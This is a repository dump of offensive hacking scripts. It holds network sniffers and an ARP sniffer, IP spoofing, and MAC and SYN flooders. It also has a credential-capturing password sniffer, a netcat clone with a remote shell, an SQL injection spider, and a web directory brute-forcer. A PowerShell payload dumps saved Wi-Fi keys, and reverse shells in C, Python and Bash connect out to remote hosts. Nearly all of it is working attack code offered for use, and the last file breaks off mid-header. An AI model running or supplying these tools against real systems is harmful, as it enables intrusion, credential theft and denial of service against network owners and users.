# 10 | 11 | 12 | import sys 13 | import getopt 14 | import pcapy 15 | from impacket.ImpactDecoder import EthDecoder 16 | 17 | 18 | dev = 'eth0' 19 | filter = 'arp' 20 | decoder = EthDecoder() 21 | 22 | # This function wills be called for every packet 23 | # and just print it 24 | def handle_packet(hdr,data): 25 | print decoder.decode(data) 26 | 27 | 28 | def usage(): 29 | print sys.argv[0] + ' -i -f ' 30 | sys.exit(1) 31 | 32 | # Parsing parameter 33 | try: 34 | cmd_opts = 'f:i:' 35 | opts,args = getopt.getopt(sys.argv[1:], cmd_opts) 36 | except getopt.GetoptError: 37 | usage() 38 | 39 | 40 | for opt in opts: 41 | if opt[0] == '-f': 42 | filter = opt[1] 43 | elif opt[0] == '-i': 44 | dev = opt[1] 45 | else: 46 | usage() 47 | 48 | # Open device in promisc mode 49 | pcap = pcapy.open_live(dev, 1024, 0, 100) # dev,buffer,mode,timeout 50 | 51 | # Set pcap filter 52 | pcap.setfilter(filter) 53 | 54 | # Start sniffing 55 | pcap.loop(0, handle_packet) 56 | -------------------------------------------------------------------------------- /net_attacking/interface_status.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # check network Interface status. 4 | # 5 | # 6 | 7 | import nmap 8 | import argparse 9 | import socket 10 | import struct 11 | import fcntl 12 | 13 | 14 | SAMPLE_PORTS = '21-65535' 15 | 16 | 17 | def get_interface_status(ifname): 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 19 | ip_address = socket.inet_ntoa(fcntl.ioctl( 20 | sock.fileno(), 21 | 0x8915, #SIOCGIFADDR, C socket library sockios.h 22 | struct.pack('256s', ifname[:15]) 23 | )[20:24]) 24 | nm = nmap.PortScanner() 25 | nm.scan(ip_address, SAMPLE_PORTS) 26 | return nm[ip_address].state() 27 | 28 | 29 | if __name__ == '__main__': 30 | parser = argparse.ArgumentParser(description='Python networking utils') 31 | parser.add_argument('--ifname', action="store", dest="ifname", required=True) 32 | given_args = parser.parse_args() 33 | ifname = given_args.ifname 34 | print "Interface [%s] is: %s" %(ifname, get_interface_status(ifname)) 35 | 36 | -------------------------------------------------------------------------------- /net_attacking/ip_spoof.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | import sys 4 | from scapy.all import send, IP, ICMP 5 | 6 | if len(sys.argv) < 3: 7 | print sys.argv[0] + " " 8 | sys.exit(1) 9 | 10 | packet = IP(src=sys.argv[1], dst=sys.argv[2]) /ICMP() 11 | answer = send(packet) 12 | 13 | if answer: 14 | answer.show() 15 | 16 | -------------------------------------------------------------------------------- /net_attacking/mac_flooder.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # mac address Flooding script in lan 4 | # by s0nnet 5 | # 6 | 7 | import sys 8 | from scapy.all import * 9 | 10 | packet = Ether(src=RandMAC('*:*:*:*:*:*'), 11 | dst=RandMAC('*:*:*:*:*:*')) / \ 12 | IP(src=RandIP('*.*.*.*'), 13 | dst=RandIP('*.*.*.*')) / \ 14 | ICMP() 15 | 16 | if len(sys.argv) < 2: 17 | dev = 'eth0' 18 | else: 19 | dev = sys.argv[1] 20 | 21 | print 'Flooding net with random packet on dev' + dev 22 | 23 | sendp(packet, iface=dev, loop=1) 24 | -------------------------------------------------------------------------------- /net_attacking/netcat.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # a simple util netcat tools. 4 | # by s0nnet 5 | # 6 | 7 | import sys 8 | import socket 9 | import getopt 10 | import threading 11 | import subprocess 12 | 13 | listen = False 14 | command = False 15 | upload = False 16 | execute = "" 17 | target = "" 18 | upload_dest = "" 19 | port = 0 20 | 21 | def usage(): 22 | print "Usage: ./mynetcat.py -t target -p port" 23 | print "-l --listen -listen on [host]:[port] wair for incoming connections" 24 | print "-e --execute=file_to_run -execute the given file upon receiving a connections" 25 | print "-c --command -initialize a command shell" 26 | print "-u --upload=destination -upon receiving connections upload a file and write to [destination]" 27 | 28 | print 29 | print "Examples:" 30 | print " ./netcat.py -t 10.0.0.2 -p 666 -l -c" 31 | print " ./netcat.py -t 10.0.0.2 -p 666 -l -u a.txt" 32 | print " ./netcat.py -t 10.0.0.2 -p 666 -l -e cat\\/etc/passwd" 33 | print " echo 'heheda' | ./mynetcat.py -t 10.0.0.2 -p 666" 34 | sys.exit(0) 35 | 36 | def run_command(command): 37 | command = command.rstrip() 38 | try: 39 | output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True) 40 | except: 41 | output = "Failed to execute command.\r\n" 42 | 43 | return output 44 | 45 | 46 | def client_handler(client_socket): 47 | global upload 48 | global execute 49 | global command 50 | 51 | # check for upload 52 | if len(upload_dest): 53 | # read in all of the bytes and write to our destination 54 | file_buffer = "" 55 | 56 | # keep reading data until none is available 57 | 58 | while True: 59 | data = client_socket.recv(1024) 60 | if not data: 61 | break 62 | else: 63 | file_buffer += data 64 | 65 | # now we take these bytes and try to write them out 66 | try: 67 | file_desc = open(upload_dest,"wb") 68 | file_desc.write(file_buffer) 69 | file_desc.close() 70 | 71 | # acknowledge that we wrote the file out 72 | client_socket.send("Successfully saved file to %s\r\n" % upload_dest) 73 | except: 74 | client_socket.send("Failed to save file to %s\r\n" % upload_dest) 75 | 76 | # check for command execution 77 | if len(execute): 78 | # run the command 79 | output = run_command(execute) 80 | 81 | client_socket.send(output) 82 | 83 | # now we go into another loop if a command shell was requested 84 | if command: 85 | while True: 86 | # show a simple prompt 87 | client_socket.send("CMD:#> ") 88 | # now we receive until we see a linefeed (enter key) 89 | cmd_buffer = "" 90 | while "\n" not in cmd_buffer: 91 | cmd_buffer += client_socket.recv(1024) 92 | 93 | # send back the command output 94 | response = run_command(cmd_buffer) 95 | 96 | # send back the response 97 | client_socket.send(response) 98 | 99 | def client_sender(buffer): 100 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | 102 | try: 103 | client.connect((target, port)) 104 | 105 | if len(buffer): 106 | client.send(buffer) 107 | 108 | while True: 109 | 110 | # now wait for data back 111 | recv_len = 1 112 | response = "" 113 | 114 | while recv_len: 115 | data = client.recv(4096) 116 | recv_len = len(data) 117 | response = data 118 | 119 | if recv_len < 4096: 120 | break 121 | 122 | print response, 123 | 124 | # wait for more input 125 | buffer = raw_input("") 126 | buffer += "\n" 127 | 128 | client.send(buffer) 129 | 130 | except: 131 | print "[*] Exception! Exiting" 132 | client.close() 133 | 134 | def server_loop(): 135 | global target 136 | 137 | # listen all interfaces if no target is defined 138 | if not len(target): 139 | target = "0.0.0.0" 140 | 141 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 142 | server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 143 | server.bind((target, port)) 144 | server.listen(5) 145 | 146 | while True: 147 | client_socket, addr = server.accept() 148 | 149 | # spin off a thread to handle our new client 150 | client_thread = threading.Thread(target=client_handler,args=(client_socket,)) 151 | client_thread.start() 152 | 153 | def main(): 154 | global listen 155 | global port 156 | global execute 157 | global command 158 | global upload_dest 159 | global target 160 | 161 | if not len(sys.argv[1:]): 162 | usage() 163 | 164 | # read the commandline options 165 | try: 166 | opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"]) 167 | except getopt.GetoptError as err: 168 | print str(err) 169 | usage() 170 | 171 | for opt,arg in opts: 172 | if opt in ("-h", "--help"): 173 | usage() 174 | elif opt in ("-l", "--listen"): 175 | listen = True 176 | elif opt in ("-e", "--execute"): 177 | execute = arg 178 | elif opt in ("-c", "--command"): 179 | command = True 180 | elif opt in ("-u", "--upload"): 181 | upload_dest = arg 182 | elif opt in ("-t", "--target"): 183 | target = arg 184 | elif opt in ("-p", "--port"): 185 | port = int(arg) 186 | else: 187 | assert False, "unhandled Option" 188 | 189 | # connection remote server 190 | #if not listen and len(target) 191 | 192 | # read the buffer from the commandline 193 | if not listen and len(target) and port > 0: 194 | # send CTRL-D in order not be block 195 | buffer = sys.stdin.read() 196 | client_sender(buffer) 197 | 198 | # upload things, execute commands,and drop a shell back 199 | if listen: 200 | server_loop() 201 | 202 | if __name__ == "__main__": 203 | main() 204 | -------------------------------------------------------------------------------- /net_attacking/passwd_sniffer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # password sniffer. 4 | # listen the specify net Interface such as eth0 5 | # sniffer by re. need you continuation ^-^ 6 | # Author: s0nnet 7 | # Email: s0nnet@sina.com 8 | 9 | import sys 10 | import re 11 | import getopt 12 | import pcapy 13 | from impacket.ImpactDecoder import EthDecoder, IPDecoder, TCPDecoder 14 | 15 | # Interface to sniff on 16 | dev = "eth0" 17 | 18 | # Pcap filter 19 | filter = "tcp" 20 | 21 | # Decoder for all layers 22 | eth_dec = EthDecoder() 23 | ip_dec = IPDecoder() 24 | tcp_dec = TCPDecoder() 25 | 26 | # Patterns that match usernames and passwords 27 | pattern = re.compile(r"""(?P(USER|USERNAME|PASS| 28 | PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH| 29 | ACCESS|ACCESS_?KEY|SESSION| 30 | SESSION_?KEY|TOKEN)[=:\s].+)\b""", 31 | re.MULTILINE|re.IGNORECASE) 32 | 33 | 34 | # This function will be called for every packet, decode it and 35 | # try to find a username or password in it 36 | def handle_packet(hdr, data): 37 | eth_pkt = eth_dec.decode(data) 38 | ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string()) 39 | tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string()) 40 | payload = ip_pkt.get_data_as_string() 41 | 42 | match = re.search(pattern, payload) 43 | if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and \ 44 | not tcp_pkt.get_FIN() and match and \ 45 | match.groupdict()['found'] != None: 46 | print "%s:%d -> %s:%d" % (ip_pkt.get_ip_src(), 47 | tcp_pkt.get_th_sport(), 48 | ip_pkt.get_ip_dst(), 49 | tcp_pkt.get_th_dport()) 50 | print "\t%s\n" % (match.groupdict()['found']) 51 | 52 | 53 | def usage(): 54 | print sys.argv[0] + " -i -f " 55 | sys.exit(1) 56 | 57 | 58 | # Parsing parameter 59 | try: 60 | cmd_opts = "f:i:" 61 | opts, args = getopt.getopt(sys.argv[1:], cmd_opts) 62 | except getopt.GetoptError: 63 | usage() 64 | 65 | for opt in opts: 66 | if opt[0] == "-f": 67 | filter = opt[1] 68 | elif opt[0] == "-i": 69 | dev = opt[1] 70 | else: 71 | usage() 72 | 73 | # Start sniffing 74 | pcap = pcapy.open_live(dev, 1500, 0, 100) 75 | pcap.setfilter(filter) 76 | print "Sniffing passwords on " + str(dev) 77 | pcap.loop(0, handle_packet) 78 | -------------------------------------------------------------------------------- /net_attacking/pcap_file_decoder.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # 4 | # A simple script to reading and 5 | # writing PACP Dump File using EthDecoder. 6 | # by s0nnet 7 | 8 | import sys 9 | import getopt 10 | import pcapy 11 | from impacket.ImpactDecoder import EthDecoder 12 | from impacket.ImpactPacket import IP 13 | 14 | dev = 'eth0' 15 | decoder = EthDecoder() 16 | input_file = None 17 | dump_file = 'sniffer.pcap' 18 | 19 | def write_packet(hdr,data): 20 | print decoder.decode(data) 21 | dumper.dump(hdr,data) 22 | 23 | def read_packet(hdr,data): 24 | ether = decoder.decode(data) 25 | if ether.get_ether_type() == IP.ethertype: 26 | iphdr = ether.child() 27 | tcphdr = iphdr.child() 28 | print iphdr.get_ip_src() + ':' + \ 29 | str(tcphdr.get_th_sport()) + \ 30 | ' -> ' + iphdr.get_ip_dst() + ':' + \ 31 | str(tcphdr.get_th_dport()) 32 | 33 | 34 | def usage(): 35 | print sys.argv[0] + """ 36 | -i 37 | -r 38 | -w """ 39 | sys.exit(1) 40 | 41 | # Parse parameter 42 | try: 43 | cmd_opts = 'i:r:w:' 44 | opts, args = getopt.getopt(sys.argv[1:], cmd_opts) 45 | except getopt.GetoptError: 46 | usage() 47 | 48 | for opt in opts: 49 | if opt[0] == '-w': 50 | dump_file = opt[1] 51 | elif opt[0] == '-i': 52 | dev = opt[1] 53 | elif opt[0] == '-r': 54 | input_file = opt[1] 55 | else: 56 | usage() 57 | 58 | # Start sniffing and write packet to a pacp dump file 59 | if input_file == None: 60 | pcap = pcapy.open_live(dev, 1024, 0, 100) 61 | dumper = pcap.dump_open(dump_file) 62 | pcap.loop(0, write_packet) 63 | 64 | # Read a pacp dump file and print it 65 | else: 66 | pcap = pcapy.open_offline(input_file) 67 | pcap.loop(0, read_packet) 68 | -------------------------------------------------------------------------------- /net_attacking/port_forwarding.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Portforward tools. 4 | # this scrpit is an useful tools like socket5 or lcx. 5 | # have fun! 6 | # 7 | 8 | 9 | import argparse 10 | 11 | LOCAL_SERVER_HOST = 'localhost' 12 | REMOTE_SERVER_HOST = 'www.google.com' 13 | BUFSIZE = 4096 14 | 15 | import asyncore 16 | import socket 17 | 18 | class PortForwarder(asyncore.dispatcher): 19 | def __init__(self, ip, port, remoteip,remoteport,backlog=5): 20 | asyncore.dispatcher.__init__(self) 21 | self.remoteip=remoteip 22 | self.remoteport=remoteport 23 | self.create_socket(socket.AF_INET,socket.SOCK_STREAM) 24 | self.set_reuse_addr() 25 | self.bind((ip,port)) 26 | self.listen(backlog) 27 | 28 | def handle_accept(self): 29 | conn, addr = self.accept() 30 | print "Connected to:",addr 31 | Sender(Receiver(conn),self.remoteip,self.remoteport) 32 | 33 | class Receiver(asyncore.dispatcher): 34 | def __init__(self,conn): 35 | asyncore.dispatcher.__init__(self,conn) 36 | self.from_remote_buffer='' 37 | self.to_remote_buffer='' 38 | self.sender=None 39 | 40 | def handle_connect(self): 41 | pass 42 | 43 | def handle_read(self): 44 | read = self.recv(BUFSIZE) 45 | self.from_remote_buffer += read 46 | 47 | def writable(self): 48 | return (len(self.to_remote_buffer) > 0) 49 | 50 | def handle_write(self): 51 | sent = self.send(self.to_remote_buffer) 52 | self.to_remote_buffer = self.to_remote_buffer[sent:] 53 | 54 | def handle_close(self): 55 | self.close() 56 | if self.sender: 57 | self.sender.close() 58 | 59 | class Sender(asyncore.dispatcher): 60 | def __init__(self, receiver, remoteaddr,remoteport): 61 | asyncore.dispatcher.__init__(self) 62 | self.receiver=receiver 63 | receiver.sender=self 64 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 65 | self.connect((remoteaddr, remoteport)) 66 | 67 | def handle_connect(self): 68 | pass 69 | 70 | def handle_read(self): 71 | read = self.recv(BUFSIZE) 72 | self.receiver.to_remote_buffer += read 73 | 74 | def writable(self): 75 | return (len(self.receiver.from_remote_buffer) > 0) 76 | 77 | def handle_write(self): 78 | sent = self.send(self.receiver.from_remote_buffer) 79 | self.receiver.from_remote_buffer = self.receiver.from_remote_buffer[sent:] 80 | 81 | def handle_close(self): 82 | self.close() 83 | self.receiver.close() 84 | 85 | 86 | if __name__ == "__main__": 87 | parser = argparse.ArgumentParser(description='Stackless Socket Server Example') 88 | parser.add_argument('--local-host', action="store", dest="local_host", default=LOCAL_SERVER_HOST) 89 | parser.add_argument('--local-port', action="store", dest="local_port", type=int, required=True) 90 | parser.add_argument('--remote-host', action="store", dest="remote_host", default=REMOTE_SERVER_HOST) 91 | parser.add_argument('--remote-port', action="store", dest="remote_port", type=int, default=80) 92 | given_args = parser.parse_args() 93 | local_host, remote_host = given_args.local_host, given_args.remote_host 94 | local_port, remote_port = given_args.local_port, given_args.remote_port 95 | 96 | print "Starting port forwarding local %s:%s => remote %s:%s" % (local_host, local_port, remote_host, remote_port) 97 | PortForwarder(local_host, local_port, remote_host, remote_port) 98 | asyncore.loop() 99 | -------------------------------------------------------------------------------- /net_attacking/port_scan.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 3 | # This is ports scanning script. 4 | # By send a SYN packet to every port and 5 | # see if response a SYN/ACK(opened oprt) or 6 | # a RST(closed port) or no(filtered port). 7 | # 8 | 9 | import sys 10 | from scapy.all import sr, IP, TCP 11 | 12 | if len(sys.argv) < 2: 13 | print sys.argv[0] + " " 14 | sys.exit(1) 15 | 16 | # Send SYN Packets to all 1024 ports 17 | if len(sys.argv) == 3: 18 | packet = IP(dst=sys.argv[1], src=sys.argv[2]) 19 | else: 20 | packet = IP(dst=sys.argv[1]) 21 | 22 | packet /= TCP(dport=range(1,1025), flags="S") 23 | 24 | answered, unanswered = sr(packet, timeout=1) 25 | 26 | res = {} 27 | 28 | #Process unanswered Packets 29 | for packet in unanswered: 30 | res[packet.dport] = "filtered" 31 | 32 | 33 | # Process answered Packets 34 | for (send, recv) in answered: 35 | # Got ICMP error message 36 | if recv.getlayer("ICMP"): 37 | type = recv.getlayer("ICMP").type 38 | code = recv.getlayer("ICMP").code 39 | #Port unanswered 40 | if code == 3 and type == 3: 41 | res[send.dport] = "closed" 42 | else: 43 | res[send.dport] = "Got ICMP with type " + \ 44 | str(type) + \ 45 | "and code " + \ 46 | str(code) 47 | else: 48 | flags = recv.getlayer("TCP").sprintf("%flags%") 49 | 50 | #Got SYN/ACK 51 | if flags == "SA": 52 | res[send.dport] = "open" 53 | 54 | #Got RST 55 | elif flags == "R" or flags == "RA": 56 | res[send.dport] = "closed" 57 | else: 58 | res[send.dport] = "Got packet with flags " \ 59 | + str(flags) 60 | 61 | 62 | # Print res 63 | ports = res.keys() 64 | ports.sort() 65 | 66 | for port in ports: 67 | if res[port] != "closed ": 68 | print str(port) + ": " + res[port] 69 | -------------------------------------------------------------------------------- /net_attacking/reverse_dns_scanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | # 4 | # 5 | # 6 | # 7 | # 8 | 9 | import sys 10 | import socket 11 | from random import randint 12 | 13 | if len(sys.argv) < 2: 14 | print sys.argv[0] + "-" 15 | sys.exit(1) 16 | 17 | def get_ips(start_ip, end_ip): 18 | ips = [] 19 | tmp = [] 20 | 21 | for i in start_ip.split('.'): 22 | tmp.append("%02X" % long(i)) 23 | 24 | start_dec = long(''.join(tmp), 16) 25 | tmp = [] 26 | 27 | for i in end_ip.split('.'): 28 | tmp.append("%02X" % long(i)) 29 | 30 | end_dec = long(''.join(tmp), 16) 31 | 32 | 33 | while(start_dec < end_dec + 1): 34 | bytes = [] 35 | bytes.append(str(int(start_dec / 16777216))) 36 | rem = start_dec % 16777216 37 | bytes.append(str(int(rem / 65535))) 38 | rem = rem % 65535 39 | bytes.append(str(int(rem / 256))) 40 | rem = rem % 256 41 | bytes.append(str(rem)) 42 | ips.append(".".join(bytes)) 43 | start_dec += 1 44 | 45 | return ips 46 | 47 | def dns_reverse_lookup(start_ip, end_ip): 48 | ips = get_ips(start_ip, end_ip) 49 | 50 | while len(ips) > 0: 51 | i = randint(0, len(ips) - 1) 52 | lookup_ip = str(ips[i]) 53 | 54 | try: 55 | print lookup_ip + ": " + \ 56 | str(socket.gethostbyaddr(lookup_ip)[0]) 57 | except (socket.herror, socket.error): 58 | pass 59 | 60 | del ips[i] 61 | 62 | start_ip, end_ip = sys.argv[1].split('-') 63 | dns_reverse_lookup(start_ip,end_ip) 64 | -------------------------------------------------------------------------------- /net_attacking/sql_injection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ###[ Loading modules 4 | 5 | import sys 6 | import httplib2 7 | from urlparse import urlparse 8 | from BeautifulSoup import BeautifulSoup 9 | 10 | 11 | ###[ Global vars 12 | 13 | max_urls = 999 14 | inject_chars = ["'", 15 | "--", 16 | "/*", 17 | '"'] 18 | error_msgs = [ 19 | "syntax error", 20 | "sql error", 21 | "failure", 22 | ] 23 | 24 | known_url = {} 25 | already_attacked = {} 26 | attack_urls = [] 27 | 28 | 29 | ###[ Subroutines 30 | 31 | def get_abs_url(link): 32 | """ 33 | check if the link is relative and prepend the protocol 34 | and host. filter unwanted links like mailto and links 35 | that do not go to our base host 36 | """ 37 | if link: 38 | if "://" not in link: 39 | if link[0] != "/": 40 | link = "/" + link 41 | 42 | link = protocol + "://" + base_host + link 43 | 44 | if "mailto:" in link or base_host not in link: 45 | return None 46 | else: 47 | return link 48 | 49 | 50 | def spider(url): 51 | """ 52 | check if we dont know the url 53 | spider to url 54 | extract new links 55 | spider all new links recursively 56 | """ 57 | if len(known_url) >= max_urls: 58 | return None 59 | 60 | if url: 61 | (n_proto, n_host, n_path, 62 | n_params, n_query, n_frag) = urlparse(url) 63 | 64 | if not known_url.get(url) and n_host == base_host: 65 | try: 66 | sys.stdout.write(".") 67 | sys.stdout.flush() 68 | 69 | known_url[url] = True 70 | response, content = browser.request(url) 71 | 72 | if response.status == 200: 73 | if "?" in url: 74 | attack_urls.append(url) 75 | 76 | soup = BeautifulSoup(content) 77 | 78 | for tag in soup('a'): 79 | spider(get_abs_url(tag.get('href'))) 80 | except httplib2.ServerNotFoundError: 81 | print "Got error for " + url + \ 82 | ": Server not found" 83 | except httplib2.RedirectLimit: 84 | pass 85 | 86 | 87 | def found_error(content): 88 | """ 89 | try to find error msg in html 90 | """ 91 | got_error = False 92 | 93 | for msg in error_msgs: 94 | if msg in content.lower(): 95 | got_error = True 96 | 97 | return got_error 98 | 99 | 100 | def attack(url): 101 | """ 102 | parse an urls parameter 103 | inject special chars 104 | try to guess if attack was successfull 105 | """ 106 | (a_proto, a_host, a_path, 107 | a_params, a_query, a_frag) = urlparse(url) 108 | 109 | if not a_query in already_attacked.get(a_path, []): 110 | already_attacked.setdefault(a_path, []).append(a_query) 111 | 112 | try: 113 | sys.stdout.write("\nAttack " + url) 114 | sys.stdout.flush() 115 | response, content = browser.request(url) 116 | 117 | for param_value in a_query.split("&"): 118 | param, value = param_value.split("=") 119 | 120 | for inject in inject_chars: 121 | a_url = a_proto + "://" + \ 122 | a_host + a_path + \ 123 | "?" + param + "=" + inject 124 | sys.stdout.write(".") 125 | sys.stdout.flush() 126 | a_res, a_content = browser.request(a_url) 127 | 128 | if content != a_content: 129 | print "\nGot different content " + \ 130 | "for " + a_url 131 | print "Checking for exception output" 132 | if found_error(a_content): 133 | print "Attack was successful!" 134 | except (httplib2.ServerNotFoundError, 135 | httplib2.RedirectLimit): 136 | pass 137 | 138 | 139 | ###[ MAIN PART 140 | 141 | if len(sys.argv) < 2: 142 | print sys.argv[0] + ": " 143 | sys.exit(1) 144 | 145 | start_url = sys.argv[1] 146 | (protocol, base_host, 147 | path, params, query, frag) = urlparse(start_url) 148 | browser = httplib2.Http() 149 | 150 | sys.stdout.write("Spidering") 151 | spider(start_url) 152 | sys.stdout.write(" Done.\n") 153 | 154 | for url in attack_urls: 155 | attack(url) 156 | -------------------------------------------------------------------------------- /net_attacking/syn_flooder.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | import sys 4 | from scapy.all import srflood, IP, TCP 5 | 6 | if len(sys.argv) < 3: 7 | print sys.argv[0] + " " 8 | sys.exit(0) 9 | 10 | packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \ 11 | TCP(dport=range(1, 1024), flags="S") 12 | 13 | 14 | srflood(packet,store=0) 15 | -------------------------------------------------------------------------------- /net_attacking/web_directory_scan.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8 -*- 2 | 3 | 4 | 5 | import sys 6 | import getopt 7 | import httplib2 8 | 9 | # Try to get url from server 10 | def surf(url, query): 11 | print "GET " + query 12 | try: 13 | response, content = web_client.request(url) 14 | 15 | if response.status == 200: 16 | print "Found " + query 17 | except httplib2.ServerNotFoundError: 18 | print "Got error for " + url + ": Server not found" 19 | sys.exit(1) 20 | 21 | # Dictionary file 22 | query_file = "dict.txt" 23 | 24 | # Target http server and port 25 | host = "www.s0nnet.com" 26 | port = 80 27 | 28 | # Run in file mode? 29 | file_mode = False 30 | 31 | # Parsing parameter 32 | try: 33 | cmd_opts = "f:Fh:p:" 34 | opts, args = getopt.getopt(sys.argv[1:], cmd_opts) 35 | except getopt.GetoptError: 36 | print sys.argv[0] + """ 37 | -f 38 | -F (file_mode) 39 | -h 40 | -p 41 | """ 42 | sys.exit(0) 43 | 44 | for opt in opts: 45 | if opt[0] == "-f": 46 | query_file = opt[1] 47 | elif opt[0] == "-F": 48 | file_mode = True 49 | elif opt[0] == "-h": 50 | host = opt[1] 51 | elif opt[0] == "-p": 52 | port = opt[1] 53 | 54 | if port == 443: 55 | url = "https://" + host 56 | elif port != 80: 57 | url = "http://" + host + ":" + port 58 | else: 59 | url = "http://" + host 60 | 61 | # This patten will be added to each query 62 | salts = ('~','~1','.back','.bak','.old','.orig',\ 63 | '_backup','.backup','.beifen','-beifen') 64 | 65 | # Get a web browser object 66 | web_client = httplib2.Http() 67 | 68 | # Read dictionary and handle each query 69 | for query in open(query_file): 70 | query = query.strip("\n") 71 | # Try dictionary traversal 72 | for dir_sep in ['/','//','/test/../']: 73 | url += dir_sep + query 74 | 75 | if file_mode: 76 | for salt in salts: 77 | url += salt 78 | surf(url, dir_sep + query + salt) 79 | else: 80 | surf(url, dir_sep + query) 81 | -------------------------------------------------------------------------------- /powershell/Get-WifiPasswd.ps1: -------------------------------------------------------------------------------- 1 | function Get-WifiPasswd 2 | { 3 | 4 | <# 5 | .SYNOPSIS 6 | Empire Payload to get the target's all wifi passwd 7 | 8 | .DESCRIPTION 9 | This payload uses the Get our target's all wifi password. 10 | but you need a administrator privilege. 11 | 12 | .EXAMPLE 13 | PS > Get-WifiPasswd 14 | 15 | .LINK 16 | http://www.s0nnet.com/ 17 | 18 | #> 19 | 20 | [CmdletBinding()] 21 | Param () 22 | 23 | $temp = $env:temp 24 | $SaveDir = "wifi_conf" 25 | $tempPath = $temp + '\' + $SaveDir 26 | if((Test-Path $tempPath) -eq 1) 27 | { 28 | $t = Remove-Item $tempPath -recurse 29 | } 30 | $t = New-Item -Path $temp -name $SaveDir -Type Directory 31 | $t = netsh wlan export profile key=clear folder=$tempPath 32 | $fileList = Get-ChildItem $tempPath *.xml | %{$_.FullName} 33 | Foreach($file in $fileList) 34 | { 35 | $tmpContent = [xml](Get-Content $file) 36 | $Name = $tmpContent.WLANProfile.SSIDConfig.SSID.name 37 | $Hex= $tmpContent.WLANProfile.SSIDConfig.SSID.hex 38 | $Auth = $tmpContent.WLANProfile.MSM.security.authEncryption.authentication 39 | $Enc = $tmpContent.WLANProfile.MSM.security.authEncryption.encryption 40 | $Prot = $tmpContent.WLANProfile.MSM.security.sharedKey.protected 41 | $Pswd = $tmpContent.WLANProfile.MSM.security.sharedKey.keyMaterial 42 | 'WiFi: ' + $Name +'('+ $Hex + ')'+' Key: '+ $Pswd +' '+$Auth +'/'+ $Enc 43 | } 44 | if((Test-Path $tempPath) -eq 1) 45 | { 46 | $t = Remove-Item $tempPath -recurse 47 | } 48 | } -------------------------------------------------------------------------------- /reverse_shell/tcp_shell.c: -------------------------------------------------------------------------------- 1 | /* 2 | * > 反弹shell C语言版 3 | * > (支持ip和域名, Linux平台) 4 | * > author: s0nnet 5 | * > see 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | 18 | int re_shell(){ 19 | pid_t pid; 20 | if ((pid = fork()) == -1){ 21 | exit(-1); 22 | } 23 | if (pid == 0) { 24 | 25 | setsid(); 26 | char *host = "127.0.0.1"; //your server ip or domain 27 | int port = 8080; //conn port 28 | 29 | int sock; 30 | struct in_addr addr; 31 | struct hostent *h; 32 | struct sockaddr_in server; 33 | 34 | if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 35 | exit(-1); 36 | } 37 | 38 | server.sin_family = AF_INET; 39 | server.sin_port = htons(port); 40 | 41 | if(! inet_pton(AF_INET, host, &addr)){ 42 | if((h = gethostbyname(host)) == NULL) { 43 | exit(-1); 44 | } 45 | host = inet_ntoa(*((struct in_addr *)h->h_addr)); 46 | } 47 | 48 | server.sin_addr.s_addr = inet_addr(host); 49 | 50 | if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { 51 | exit(-1); 52 | } 53 | 54 | dup2(sock, 0); 55 | dup2(sock, 1); 56 | dup2(sock, 2); 57 | close(sock); 58 | execl("/bin/sh", "/bin/sh", "-i", NULL); 59 | } 60 | return 0; 61 | } 62 | 63 | int main() 64 | { 65 | re_shell(); 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /reverse_shell/tcp_shell.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 反弹shell python一句话版 4 | # author: s0nnet 5 | # time: 2017-01-20 6 | 7 | """ 8 | # 基于subprocess 9 | import os 10 | import socket 11 | import subprocess 12 | 13 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 14 | s.connect(("10.0.0.1",8080)) 15 | 16 | os.dup2(s.fileno(),0) 17 | os.dup2(s.fileno(),1) 18 | os.dup2(s.fileno(),2) 19 | 20 | p=subprocess.call(["/bin/sh","-i"]) 21 | """ 22 | 23 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 24 | -------------------------------------------------------------------------------- /reverse_shell/tcp_shell_bash.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # > desc: 反弹shell Bash版 4 | # > author: s0nnet 5 | # > time: 2017-01-20 6 | 7 | bash -i >& /dev/tcp/123.45.67.89/8080 0>&1 8 | -------------------------------------------------------------------------------- /reverse_shell/tcp_shell_exec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # > desc: 反弹shell 